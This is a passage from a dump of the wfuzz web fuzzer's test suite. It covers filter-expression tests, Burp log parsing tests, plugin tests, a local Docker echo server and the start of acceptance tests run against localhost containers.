r.urlp.isbllist\",\n            True,\n        ),\n    ],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_urlp(filter_obj, fuzzres_from_url, filter_string, expected_result):\n    assert filter_obj.is_visible(fuzzres_from_url, filter_string) == expected_result\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [(\"http://www.wfuzz.org/path?param=1&param2=2\", \"r.is_path\", False)],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_ispath(filter_obj, fuzzres_from_url, filter_string, expected_result):\n    assert filter_obj.is_visible(fuzzres_from_url, filter_string) == expected_result\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.pstrip\",\n            \"http://www.wfuzz.org/path-gparam-gparam2\",\n        ),\n    ],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_pstrip(filter_obj, fuzzres_from_url, filter_string, expected_result):\n    assert filter_obj.is_visible(fuzzres_from_url, filter_string) == expected_result\n"
  },
  {
    "path": "tests/filters/test_prefilter_mangle.py",
    "content": "import pytest\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.url=+'test'\",\n            \"http://www.wfuzz.org/path?param=1&param2=2test\",\n        ),\n        (\"http://www.wfuzz.org/path?param=1&param2=2\", \"r.url:='test'\", \"http://test/\"),\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.url=-'test'\",\n            \"testhttp://www.wfuzz.org/path?param=1&param2=2\",\n        ),\n    ],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_url_set(filter_obj, fuzzres_from_url, filter_string, expected_result):\n    filter_obj.is_visible(fuzzres_from_url, filter_string)\n    assert fuzzres_from_url.history.url == expected_result\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [(\"http://www.wfuzz.org/path?param\", \"r.params.all=+'test'\", {\"param\": None})],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_params_set_no_value(\n    filter_obj, fuzzres_from_url, filter_string, expected_result\n):\n    filter_obj.is_visible(fuzzres_from_url, filter_string)\n    assert fuzzres_from_url.history.params.get == expected_result\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.params.get.param=+'test'\",\n            {\"param\": \"1test\", \"param2\": \"2\"},\n        ),\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.params.get.param=-'test'\",\n            {\"param\": \"test1\", \"param2\": \"2\"},\n        ),\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.params.all=+'2'\",\n            {\"param\": \"12\", \"param2\": \"22\"},\n        ),\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.params.all:='2'\",\n            {\"param\": \"2\", \"param2\": \"2\"},\n        ),\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.params.get.notthere=-'2'\",\n            {\"param\": \"1\", \"param2\": \"2\"},\n        ),\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.params.get.notthere=+'2'\",\n            {\"param\": \"1\", \"param2\": \"2\"},\n        ),\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.params.get.notthere:='2'\",\n            {\"notthere\": \"2\", \"param\": \"1\", \"param2\": \"2\"},\n        ),\n    ],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_params_set(filter_obj, fuzzres_from_url, filter_string, expected_result):\n    filter_obj.is_visible(fuzzres_from_url, filter_string)\n    assert fuzzres_from_url.history.params.all == expected_result\n"
  },
  {
    "path": "tests/filters/test_prefilter_mangle_codes.py",
    "content": "import pytest\n\n\n@pytest.mark.parametrize(\n    \"filter_string, expected_result\",\n    [(\"r.code:=429\", 429), (\"r.c:=404\", 404), (\"r.c=+404\", 706), (\"r.c=-2\", 300)],\n)\ndef test_code_set(filter_obj, example_full_fuzzres, filter_string, expected_result):\n    filter_obj.is_visible(example_full_fuzzres, filter_string)\n    assert example_full_fuzzres.code == expected_result\n"
  },
  {
    "path": "tests/helpers/test_dotdict.py",
    "content": "import pytest\n\nfrom wfuzz.helpers.obj_dic import DotDict\nfrom wfuzz.helpers.obj_dyn import rgetattr\n\n\n@pytest.fixture\ndef dotdict_ex1():\n    return DotDict({\"a\": \"1\"})\n\n\n@pytest.fixture\ndef dotdict_ex2():\n    return DotDict({\"a\": \"2\"})\n\n\ndef test_operators(dotdict_ex1, dotdict_ex2):\n    assert dotdict_ex1 == {\"a\": \"1\"}\n    assert dotdict_ex1 + \"test\" == {\"a\": \"1test\"}\n    assert \"test\" + dotdict_ex1 == {\"a\": \"test1\"}\n    assert dotdict_ex1 + dotdict_ex2 == {\"a\": \"2\"}\n    assert dotdict_ex2 + dotdict_ex1 == {\"a\": \"1\"}\n\n\ndef test_nonexisting_key_returns_none(dotdict_ex1):\n    assert dotdict_ex1[\"anything\"] == {}\n\n\ndef test_nonexisting_attr_returns_empty_dict(dotdict_ex1):\n    assert rgetattr(dotdict_ex1, \"anything\") == {}\n"
  },
  {
    "path": "tests/helpers/test_insensitive_dict.py",
    "content": "import pytest\n\nfrom wfuzz.helpers.obj_dic import CaseInsensitiveDict\n\n\n@pytest.fixture\ndef case_dict():\n    return CaseInsensitiveDict({\"OnE\": 1})\n\n\n@pytest.mark.parametrize(\"key, expected_result\", [(\"one\", 1), (\"oNe\", 1)])\ndef test_key_get_item(case_dict, key, expected_result):\n    assert case_dict[key] == expected_result\n    assert case_dict.get(key) == expected_result\n\n\n@pytest.mark.parametrize(\n    \"key, expected_result\",\n    [(\"One\", True), (\"OnE\", True), (\"one\", True), (\"onetwo\", False)],\n)\ndef test_key_in_item(case_dict, key, expected_result):\n    assert (key in case_dict) == expected_result\n\n\ndef test_update():\n    dd = CaseInsensitiveDict({})\n    dd.update({\"OnE\": 1})\n\n    assert dd[\"one\"] == 1\n    assert dd[\"oNe\"] == 1\n\n\ndef test_key_in(case_dict):\n    assert list(case_dict.keys()) == [\"OnE\"]\n"
  },
  {
    "path": "tests/plugins/test_burplog.py",
    "content": "import pytest\nimport sys\nfrom io import BytesIO\n\nimport wfuzz\nfrom wfuzz.facade import Facade\n\ntry:\n    # Python >= 3.3\n    from unittest import mock\nexcept ImportError:\n    # Python < 3.3\n    import mock\n\n\n@pytest.fixture\ndef burplog_file(request):\n    class mock_saved_session(object):\n        def __init__(self, infile):\n            self.outfile = BytesIO(bytes(infile, \"ascii\"))\n            self.outfile.seek(0)\n            self.outfile.name = \"mockfile\"\n\n        def close(self):\n            pass\n\n        def read(self, *args, **kwargs):\n            return self.outfile.read(*args, **kwargs)\n\n        def seek(self, *args, **kwargs):\n            return self.outfile.seek(*args, **kwargs)\n\n        def tell(self):\n            return self.outfile.tell()\n\n        def readline(self, *args, **kwargs):\n            line = self.outfile.readline()\n            if line:\n                return line.decode(\"utf-8\")\n            return \"\"\n\n    return mock_saved_session(request.param)\n\n\n@pytest.mark.parametrize(\n    \"burplog_file, expected_content\",\n    [\n        # (\n        #     (\n        #         \"======================================================\\n\"\n        #         \"22:35:55  https://aus5.mozilla.org:443  [35.244.181.201]\\n\"\n        #         \"======================================================\\n\"\n        #         \"GET /update/3/SystemAddons/81.0/20200917005511/Linux_x86_64-gcc3/null/release-cck-ubuntu/Linux%205.4.0-48-generic%20(GTK%203.24.20%2Clibpulse%2013.99.0)/canonical/1.0/update.xml HTTP/1.1\\n\"\n        #         \"Host: aus5.mozilla.org\\n\"\n        #         \"\\n\"\n        #         \"\\n\"\n        #         \"======================================================\\n\"\n        #         \"HTTP/1.1 200 OK\\n\"\n        #         \"Server: nginx/1.17.9\\n\"\n        #         \"\\n\"\n        #         \"<?xml version=\\\"1.0\\\"?>\\n\"\n        #         \"<updates>\\n\"\n        #         \"</updates>\\r\\n\"\n        #         \"======================================================\\n\"\n        #         \"\\n\"\n        #         \"\\n\"\n        #         \"\\n\"\n        #     ),\n        #     '<?xml version=\"1.0\"?>\\n<updates>\\n</updates>',\n        # ),\n        (\n            (\n                \"======================================================\\n\"\n                \"22:35:55  https://aus5.mozilla.org:443  [35.244.181.201]\\n\"\n                \"======================================================\\n\"\n                \"GET /update/3/SystemAddons/81.0/20200917005511/Linux_x86_64-gcc3/null/release-cck-ubuntu/Linux%205.4.0-48-generic%20(GTK%203.24.20%2Clibpulse%2013.99.0)/canonical/1.0/update.xml HTTP/1.1\\n\"\n                \"Host: aus5.mozilla.org\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"======================================================\\n\"\n                \"HTTP/1.1 200 OK\\n\"\n                \"Server: nginx/1.17.9\\n\"\n                \"\\n\"\n                '<?xml version=\"1.0\"?>\\n'\n                \"<updates>\\n\"\n                \"</updates>   \\n\"\n                \"======================================================\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"\\n\"\n            ),\n            '<?xml version=\"1.0\"?>\\n<updates>\\n</updates>   ',\n        ),\n        (\n            (\n                \"======================================================\\n\"\n                \"22:35:55  https://aus5.mozilla.org:443  [35.244.181.201]\\n\"\n                \"======================================================\\n\"\n                \"GET /update/3/SystemAddons/81.0/20200917005511/Linux_x86_64-gcc3/null/release-cck-ubuntu/Linux%205.4.0-48-generic%20(GTK%203.24.20%2Clibpulse%2013.99.0)/canonical/1.0/update.xml HTTP/1.1\\n\"\n                \"Host: aus5.mozilla.org\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"======================================================\\n\"\n                \"HTTP/1.1 200 OK\\n\"\n                \"Server: nginx/1.17.9\\n\"\n                \"\\n\"\n                '<?xml version=\"1.0\"?>\\n'\n                \"<updates>\\n\"\n                \"</updates>\\n\"\n                \"\\n\"\n                \"======================================================\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"\\n\"\n            ),\n            '<?xml version=\"1.0\"?>\\n<updates>\\n</updates>\\n',\n        ),\n        (\n            (\n                \"======================================================\\n\"\n                \"22:35:55  https://aus5.mozilla.org:443  [35.244.181.201]\\n\"\n                \"======================================================\\n\"\n                \"GET /update/3/SystemAddons/81.0/20200917005511/Linux_x86_64-gcc3/null/release-cck-ubuntu/Linux%205.4.0-48-generic%20(GTK%203.24.20%2Clibpulse%2013.99.0)/canonical/1.0/update.xml HTTP/1.1\\n\"\n                \"Host: aus5.mozilla.org\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"======================================================\\n\"\n                \"HTTP/1.1 200 OK\\n\"\n                \"Server: nginx/1.17.9\\n\"\n                \"\\n\"\n                '<?xml version=\"1.0\"?>\\n'\n                \"<updates>\\n\"\n                \"</updates>\\n\"\n                \"======================================================\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"\\n\"\n            ),\n            '<?xml version=\"1.0\"?>\\n<updates>\\n</updates>',\n        ),\n        (\n            (\n                \"======================================================\\n\"\n                \"2:17:05 PM  https://www.xxx.es:443  [2.2.2.1]\\n\"\n                \"======================================================\\n\"\n                \"GET /sttc/dbook-fp/ctrip-prod-2.4.0.min.js HTTP/1.1\\n\"\n                \"Host: www.xxx.es\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"======================================================\\n\"\n                \"HTTP/1.1 200 OK\\n\"\n                \"\\n\"\n                'HTTP\",\" 333D Visionplugin\\n'\n                \"======================================================\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"\\n\"\n            ),\n            'HTTP\",\" 333D Visionplugin',\n        ),\n        (\n            (\n                \"======================================================\\n\"\n                \"22:26:48  http://testphp.vulnweb.com:80  [176.28.50.165]\\n\"\n                \"======================================================\\n\"\n                \"GET /style.css HTTP/1.1\\n\"\n                \"Host: testphp.vulnweb.com\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"======================================================\\n\"\n                \"HTTP/1.1 304 Not Modified\\n\"\n                \"Server: nginx/1.4.1\\n\"\n                \"Date: Mon, 19 Jan 1970 15:36:40 GMT\\n\"\n                \"Last-Modified: Wed, 11 May 2011 10:27:48 GMT\\n\"\n                \"Connection: close\\n\"\n                'ETag: \"4dca64a4-156a\"\\n'\n                \"\\n\"\n                \"\\n\"\n                \"======================================================\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"\\n\"\n            ),\n            \"\",\n        ),\n    ],\n    indirect=[\"burplog_file\"],\n)\ndef test_burplog_content(burplog_file, expected_content):\n    # load plugins before mocking file object\n    Facade().payloads\n\n    m = mock.MagicMock(name=\"open\", spec=open)\n    m.return_value = burplog_file\n\n    mocked_fun = \"builtins.open\" if sys.version_info >= (3, 0) else \"__builtin__.open\"\n    with mock.patch(mocked_fun, m, create=True):\n        payload_list = list(\n            wfuzz.payload(\n                **{\n                    \"payloads\": [\n                        (\"burplog\", {\"default\": \"mockedfile\", \"encoder\": None}, None)\n                    ],\n                }\n            )\n        )\n\n        fres = payload_list[0][0]\n\n        assert fres.history.content == expected_content\n\n\n@pytest.mark.parametrize(\n    \"burplog_file, expected_req_headers, expected_resp_headers\",\n    [\n        (\n            (\n                \"======================================================\\n\"\n                \"22:35:55  https://aus5.mozilla.org:443  [35.244.181.201]\\n\"\n                \"======================================================\\n\"\n                \"GET /update/3/SystemAddons/81.0/20200917005511/Linux_x86_64-gcc3/null/release-cck-ubuntu/Linux%205.4.0-48-generic%20(GTK%203.24.20%2Clibpulse%2013.99.0)/canonical/1.0/update.xml HTTP/1.1\\n\"\n                \"Host: aus5.mozilla.org\\n\"\n                \"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0\\n\"\n                \"Accept: */*\\n\"\n                \"Accept-Language: en-GB,en;q=0.5\\n\"\n                \"Accept-Encoding: gzip, deflate\\n\"\n                \"Cache-Control: no-cache\\n\"\n                \"Pragma: no-cache\\n\"\n                \"Connection: close\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"======================================================\\n\"\n                \"HTTP/1.1 200 OK\\n\"\n                \"Server: nginx/1.17.9\\n\"\n                \"Date: Sun, 01 Nov 2020 21:35:08 GMT\\n\"\n                \"Content-Type: text/xml; charset=utf-8\\n\"\n                \"Content-Length: 42\\n\"\n                \"Strict-Transport-Security: max-age=31536000;\\n\"\n                \"X-Content-Type-Options: nosniff\\n\"\n                \"Content-Security-Policy: default-src 'none'; frame-ancestors 'none'\\n\"\n                \"X-Proxy-Cache-Status: EXPIRED\\n\"\n                \"Via: 1.1 google\\n\"\n                \"Age: 47\\n\"\n                \"Cache-Control: public, max-age=90\\n\"\n                \"Alt-Svc: clear\\n\"\n                \"Connection: close\\n\"\n                \"\\n\"\n                '<?xml version=\"1.0\"?>\\n'\n                \"<updates>\\n\"\n                \"</updates>\\n\"\n                \"======================================================\\n\"\n                \"\\n\"\n                \"\\n\"\n                \"\\n\"\n            ),\n            {\n                \"Host\": \"aus5.mozilla.org\",\n                \"User-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0\",\n                \"Accept\": \"*/*\",\n                \"Accept-Language\": \"en-GB,en;q=0.5\",\n                \"Accept-Encoding\": \"gzip, deflate\",\n                \"Cache-Control\": \"no-cache\",\n                \"Pragma\": \"no-cache\",\n                \"Connection\": \"close\",\n            },\n            {\n                \"Server\": \"nginx/1.17.9\",\n                \"Date\": \"Sun, 01 Nov 2020 21:35:08 GMT\",\n                \"Content-Type\": \"text/xml; charset=utf-8\",\n                \"Content-Length\": \"42\",\n                \"Strict-Transport-Security\": \"max-age=31536000;\",\n                \"X-Content-Type-Options\": \"nosniff\",\n                \"Content-Security-Policy\": \"default-src 'none'; frame-ancestors 'none'\",\n                \"X-Proxy-Cache-Status\": \"EXPIRED\",\n                \"Via\": \"1.1 google\",\n                \"Age\": \"47\",\n                \"Cache-Control\": \"public, max-age=90\",\n                \"Alt-Svc\": \"clear\",\n                \"Connection\": \"close\",\n            },\n        ),\n    ],\n    indirect=[\"burplog_file\"],\n)\ndef test_burplog_headers(burplog_file, expected_req_headers, expected_resp_headers):\n    # load plugins before mocking file object\n    Facade().payloads\n\n    m = mock.MagicMock(name=\"open\", spec=open)\n    m.return_value = burplog_file\n\n    mocked_fun = \"builtins.open\" if sys.version_info >= (3, 0) else \"__builtin__.open\"\n    with mock.patch(mocked_fun, m, create=True):\n        payload_list = list(\n            wfuzz.payload(\n                **{\n                    \"payloads\": [\n                        (\"burplog\", {\"default\": \"mockedfile\", \"encoder\": None}, None)\n                    ],\n                }\n            )\n        )\n\n        fres = payload_list[0][0]\n\n        assert fres.history.headers.request == expected_req_headers\n        assert fres.history.headers.response == expected_resp_headers\n"
  },
  {
    "path": "tests/plugins/test_links.py",
    "content": "import pytest\nimport re\n\nfrom queue import Queue\n\n\n@pytest.mark.parametrize(\n    \"example_full_fuzzres_content, expected_links\",\n    [\n        # getting data-href for now (b'<link rel=\"manifest\" data-href=\"/android-chrome-manifest.json\">\\n', [],),\n        (\n            b'<href=\"1.json\"href=\"2.json\">\\n',\n            [\"http://www.wfuzz.org/1.json\", \"http://www.wfuzz.org/2.json\"],\n        ),\n        (\n            b'<link rel=\"manifest\" href=\"/android-chrome-manifest.json\">\\n',\n            [\"http://www.wfuzz.org/android-chrome-manifest.json\"],\n        ),\n        (\n            b'<link rel=\"alternate\" href=\"https://www.wfuzz.org/\" hreflang=\"en-AE\" />',\n            [\"https://www.wfuzz.org/\"],\n        ),\n        (b'<link rel=\"dns-prefetch\" href=\"https://www.wfuzz.io\">\\n', [],),\n        (b'<script src=\"//js.wfuzz.org/sttc/main.93d0d236.js\"></script>', [],),\n    ],\n    indirect=[\"example_full_fuzzres_content\"],\n)\ndef test_parsed_links(example_full_fuzzres_content, get_plugin, expected_links):\n    links_plugin = get_plugin(\"links\")[0]\n    links_plugin.results_queue = Queue()\n    links_plugin.base_fuzz_res = example_full_fuzzres_content\n    links_plugin.add_path = False\n\n    assert links_plugin.name == \"links\"\n\n    links_plugin.process(example_full_fuzzres_content)\n\n    results = []\n    while not links_plugin.results_queue.empty():\n        results.append(links_plugin.results_queue.get())\n\n    assert [\n        fzres._seed.history.url for fzres in results if fzres._seed\n    ] == expected_links\n\n\n@pytest.mark.parametrize(\n    \"example_full_fuzzres_content, expected_links\",\n    [\n        (\n            b'<link rel=\"dns-prefetch\" href=\"https://www.wfuzz.io\">\\n',\n            [\"https://www.wfuzz.io/\"],\n        ),\n        (\n            b'<script src=\"//js.wfuzz.org/sttc/main.93d0d236.js\"></script>',\n            [\"http://js.wfuzz.org/sttc/main.93d0d236.js\"],\n        ),\n    ],\n    indirect=[\"example_full_fuzzres_content\"],\n)\ndef test_regex_option(example_full_fuzzres_content, get_plugin, expected_links):\n    links_plugin = get_plugin(\"links\")[0]\n    links_plugin.results_queue = Queue()\n    links_plugin.base_fuzz_res = example_full_fuzzres_content\n    links_plugin.add_path = False\n    links_plugin.domain_regex = re.compile(\"wfuzz\", re.MULTILINE | re.DOTALL)\n\n    assert links_plugin.name == \"links\"\n\n    links_plugin.process(example_full_fuzzres_content)\n\n    results = []\n    while not links_plugin.results_queue.empty():\n        results.append(links_plugin.results_queue.get())\n\n    assert [\n        fzres._seed.history.url for fzres in results if fzres._seed\n    ] == expected_links\n"
  },
  {
    "path": "tests/plugins/test_summary.py",
    "content": "from wfuzz.factories.plugin_factory import plugin_factory\nfrom wfuzz.fuzzobjects import FuzzPlugin\n\nfrom queue import Queue\n\n\ndef test_sum_plugin_output(example_full_fuzzres):\n    plugin = plugin_factory.create(\"plugin_from_summary\", \"a message\")\n\n    assert plugin.is_visible(True) is False\n    assert plugin.is_visible(False) is True\n\n\ndef test_find_plugin_output_from_factory():\n    plugin = plugin_factory.create(\n        \"plugin_from_finding\",\n        \"a plugin\",\n        \"a source\",\n        \"an issue\",\n        \"some data\",\n        FuzzPlugin.INFO,\n    )\n\n    assert plugin.is_visible(True) is True\n    assert plugin.is_visible(False) is False\n\n\ndef test_find_plugin_output(get_plugin):\n    plugin = get_plugin(\"links\")[0]\n    plugin.results_queue = Queue()\n    plugin.add_result(\"a source\", \"an issue\", \"some data\", FuzzPlugin.INFO)\n\n    plugin_res = plugin.results_queue.get()\n\n    assert plugin_res.is_visible(True) is True\n    assert plugin_res.is_visible(False) is False\n"
  },
  {
    "path": "tests/server_dir/Dockerfile",
    "content": "FROM python:3.6-alpine\nADD . /code\nWORKDIR /code\nEXPOSE 8000/tcp\nCMD [\"python\", \"simple_server.py\"]\n"
  },
  {
    "path": "tests/server_dir/dir/a",
    "content": "one two thre\ntwo\nthree\nfour\n"
  },
  {
    "path": "tests/server_dir/dir/b",
    "content": "one\ntwo\n"
  },
  {
    "path": "tests/server_dir/dir/c",
    "content": "1 2 3 4 5\n1 2 3\n1 2\n1\n"
  },
  {
    "path": "tests/server_dir/dir/one",
    "content": "one two thre\ntwo\nthree\nfour\n"
  },
  {
    "path": "tests/server_dir/docker-compose.yml",
    "content": "version: '2'\nservices:\n  httpserver:\n    build:\n      context: .\n      dockerfile: Dockerfile\n    ports:\n      - \"8000:8000\"\n    command: python simple_server.py\n  httpproxy:\n    image: mitmproxy/mitmproxy\n    ports:\n      - \"8080:8080\"\n    command: mitmdump\n  httpbin:\n    image: kennethreitz/httpbin\n    ports:\n      - \"9000:80\"\n"
  },
  {
    "path": "tests/server_dir/iterators/aa",
    "content": "1\n2\n3\n\n"
  },
  {
    "path": "tests/server_dir/iterators/ac",
    "content": "ac\n1\n2\n\n"
  },
  {
    "path": "tests/server_dir/iterators/bb",
    "content": "4\n\n"
  },
  {
    "path": "tests/server_dir/plugins/robots.txt",
    "content": "user-agent: *\nDisallow: /osrun/*\nDisallow: /cal_endar/*\nDisallow: /crawlsnags/*\nDisallow: /static/*\nvagrant@vagrant-ubu\n"
  },
  {
    "path": "tests/server_dir/recursive_dir/a/b/c/placeholder.txt",
    "content": ""
  },
  {
    "path": "tests/server_dir/simple_server.py",
    "content": "# slightly modified from\n# https://gist.github.com/trungly/5889154\n\nfrom http.server import HTTPServer\nfrom http.server import SimpleHTTPRequestHandler\nimport urllib.parse\n\n\nclass GetHandler(SimpleHTTPRequestHandler):\n    def do_HEAD(self):\n        parsed_path = urllib.parse.urlparse(self.path)\n        if parsed_path.path.startswith(\"/echo\"):\n            message = \"\\n\".join(\n                [\n                    \"CLIENT VALUES:\",\n                    \"client_address=%s (%s)\"\n                    % (self.client_address, self.address_string()),\n                    \"command=%s\" % self.command,\n                    \"path=%s\" % self.path,\n                    \"real path=%s\" % parsed_path.path,\n                    \"query=%s\" % parsed_path.query,\n                    \"request_version=%s\" % self.request_version,\n                    \"\",\n                    \"HEADERS:\",\n                    \"%s\" % self.headers,\n                ]\n            )\n            self.send_response(200)\n            self.end_headers()\n            self.wfile.write(message.encode(\"utf-8\"))\n        elif parsed_path.path.startswith(\"/redirect\"):\n            self.send_response(301)\n            self.send_header(\"Location\", \"/echo\")\n            self.end_headers()\n        else:\n            SimpleHTTPRequestHandler.do_HEAD(self)\n\n        return\n\n    def do_GET(self):\n        parsed_path = urllib.parse.urlparse(self.path)\n        if parsed_path.path.startswith(\"/echo\"):\n            message = \"\\n\".join(\n                [\n                    \"CLIENT VALUES:\",\n                    \"client_address=%s (%s)\"\n                    % (self.client_address, self.address_string()),\n                    \"command=%s\" % self.command,\n                    \"path=%s\" % self.path,\n                    \"real path=%s\" % parsed_path.path,\n                    \"query=%s\" % parsed_path.query,\n                    \"request_version=%s\" % self.request_version,\n                    \"\",\n                    \"HEADERS:\",\n                    \"%s\" % self.headers,\n                ]\n            )\n            self.send_response(200)\n            self.end_headers()\n            self.wfile.write(message.encode(\"utf-8\"))\n        elif parsed_path.path.startswith(\"/redirect\"):\n            self.send_response(301)\n            self.send_header(\"Location\", \"/echo\")\n            self.end_headers()\n        else:\n            SimpleHTTPRequestHandler.do_GET(self)\n\n        return\n\n    def do_POST(self):\n        parsed_path = urllib.parse.urlparse(self.path)\n        if parsed_path.path.startswith(\"/echo\"):\n            content_len = int(self.headers.get(\"content-length\"))\n            post_body = self.rfile.read(content_len).decode(\"utf-8\")\n            self.send_response(200)\n            self.end_headers()\n\n            message = \"\\n\".join(\n                [\n                    \"CLIENT VALUES:\",\n                    \"client_address=%s (%s)\"\n                    % (self.client_address, self.address_string()),\n                    \"command=%s\" % self.command,\n                    \"path=%s\" % self.path,\n                    \"real path=%s\" % parsed_path.path,\n                    \"query=%s\" % parsed_path.query,\n                    \"request_version=%s\" % self.request_version,\n                    \"\",\n                    \"HEADERS:\",\n                    \"%s\" % self.headers,\n                    \"POST_DATA=%s\" % post_body,\n                    \"\",\n                ]\n            )\n\n            self.wfile.write(message.encode(\"utf-8\"))\n\n        return\n\n\nif __name__ == \"__main__\":\n    server = HTTPServer((\"0.0.0.0\", 8000), GetHandler)\n    server.serve_forever()\n"
  },
  {
    "path": "tests/server_dir/static/placeholder.txt",
    "content": ""
  },
  {
    "path": "tests/test_acceptance.py",
    "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport copy\nimport os\nimport unittest\nimport tempfile\n\nimport wfuzz\n\nLOCAL_DOMAIN = \"http://localhost\"\nURL_LOCAL = \"%s:8000/dir\" % (LOCAL_DOMAIN)\nHTTPD_PORT = 8000\n\nECHO_URL = \"%s:8000/echo\" % (LOCAL_DOMAIN)\nHTTPBIN_URL = \"http://localhost:9000\"\n\nREPLACE_HOSTNAMES = [\n    (\"localhost:8000\", \"httpserver:8000\"),\n    (\"localhost:9000\", \"httpbin:80\"),\n    (\"9000\", \"80\"),\n    (\"localhost\", \"httpserver\"),\n]\n\n# $ export PYTHONPATH=./src\n# $ python -m unittest discover\n#\n# docker containers with HTTP server and proxy must be started before running these tests\n# $ cd tests/server_dir\n# $ docke-compose up\n\n# IDEAS:\n#\n# baseline duplicated with single filters\n# chain iterator duplicated with everything\n# bad params\n# duplicate with post instead of get\n# conn delays?\n# script args\n\ntesting_savedsession_tests = []\n\ntesting_tests = []\n\nsavedsession_tests = [\n    # parse post params\n    (\n        \"test_novalue_post_fuzz\",\n        \"-z list --zD a -u {}/anything -d FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp --zD $$PREVFILE$$ -u FUZZ --filter r.params.post.a:=1 --field r.params.post.a\",\n        [\"1\"],\n        None,\n    ),\n    (\n        \"test_json_post_fuzz2\",\n        '-z list --zD anything -u {}/FUZZ -d {{\"a\":\"2\"}} -H Content-Type:application/json'.format(\n            HTTPBIN_URL\n        ),\n        \"-z wfuzzp --zD $$PREVFILE$$ -u FUZZ --field r.params.post.a\",\n        [\"2\"],\n        None,\n    ),\n    (\n        \"test_json_post_fuzz3\",\n        '-z list --zD anything -u {}/FUZZ -d {{\"a\":\"2\"}} -H Content-Type:application/json'.format(\n            HTTPBIN_URL\n        ),\n        \"-z wfuzzp --zD $$PREVFILE$$ -u FUZZ --filter r.params.post.a:=1 --field r.params.post.a\",\n        [\"1\"],\n        None,\n    ),\n    (\n        \"test_json_nested\",\n        '-z list --zD anything -u {}/FUZZ -d {{\"test\":\"me\",\"another\":1,\"nested\":{{\"this\":2}}}} -H Content-Type:application/json'.format(\n            HTTPBIN_URL\n        ),\n        \"-z wfuzzp --zD $$PREVFILE$$ -u FUZZ --field r.params.post.nested.this\",\n        [\"2\"],\n        None,\n    ),\n    (\n        \"test_json_nested2\",\n        '-z list --zD anything -u {}/FUZZ -d {{\"test\":\"me\",\"another\":1,\"nested\":{{\"this\":2}}}} -H Content-Type:application/json'.format(\n            HTTPBIN_URL\n        ),\n        \"-z wfuzzp --zD $$PREVFILE$$ -u FUZZ --field r.params.post.another\",\n        [\"1\"],\n        None,\n    ),\n    # field fuzz values\n    (\n        \"test_desc_fuzz\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ FUZZ\",\n        [\"http://localhost:9000/1\"],\n        None,\n    ),\n    (\n        \"test_desc_attr\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ FUZZ[url]\",\n        [\"http://localhost:9000/1\"],\n        None,\n    ),\n    (\n        \"test_desc_concat_number\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ FUZZ[url]FUZZ[c]\",\n        [\"http://localhost:9000/1 - 404\"],\n        None,\n    ),\n    (\n        \"test_desc_url_number\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ http://localhost:FUZZ[c]/\",\n        [\"http://localhost:9000/1 - 404\"],\n        \"Pycurl error 7:\",\n    ),\n    # set values\n    (\n        \"test_desc_concat_number_slice\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --slice r.c:=302 FUZZ[url]FUZZ[c]\",\n        [\"http://localhost:9000/1 - 302\"],\n        None,\n    ),\n    (\n        \"test_desc_rewrite_url\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --prefilter=r.url:=r.url|replace('1','2') FUZZ\",\n        [\"http://localhost:9000/2\"],\n        None,\n    ),\n    (\n        \"test_desc_rewrite_url2\",\n        \"-z range,1-1 {}/FUZZ\".format(HTTPBIN_URL),\n        \"-z wfuzzp,$$PREVFILE$$ --slice r.url:=r.url|replace('1','2') FUZZ[url]\",\n        [\"http://localhost:9000/2\"],\n        None,\n    ),\n    # fuzz value slice filters\n    (\n        